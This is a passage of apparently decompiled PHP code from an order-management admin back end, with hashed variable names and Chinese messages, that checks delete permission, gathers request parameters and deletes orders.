												echo "您没有删除订单的权限，请联系超级管理员";
												exit( );
								}
								$R15a0359c8c = getvar( "stype", "cname" );
								$R8cbf2f60f5 = intval( request( "inrecycle" ) );
								$R7965cb3798 = getvar( "keywords" );
								$R1e3bc50f23 = $this->DateSet( );
								$R71a664ef8c = $this->PageInfo( );
								$R58bca74885 = array(
												"optype" => getvar( "optype" ),
												"cname" => getvar( "ubzcname" ),
												"comefrom" => intval( request( "comefrom", 0 ) ),
												"aname" => getvar( "aname" ),
												"pname" => urlencode( getvar( "pname" ) ),
												"aid" => getvar( "aid" ),
												"payment" => getvar( "payment" )
								);
								$data = array_merge( $R58bca74885, $R1e3bc50f23[0], $R71a664ef8c );
								$Rb7492a73f7 = $this->GetLit( );
								$R808b89ba0e = $this->hander->IBD_DeleteByStr( $Rb7492a73f7, $data );
								if ( !$R808b89ba0e )
								{
												echo "删除失败!";
								}
								else
								{
												echo "";
								}
				}

}

?>
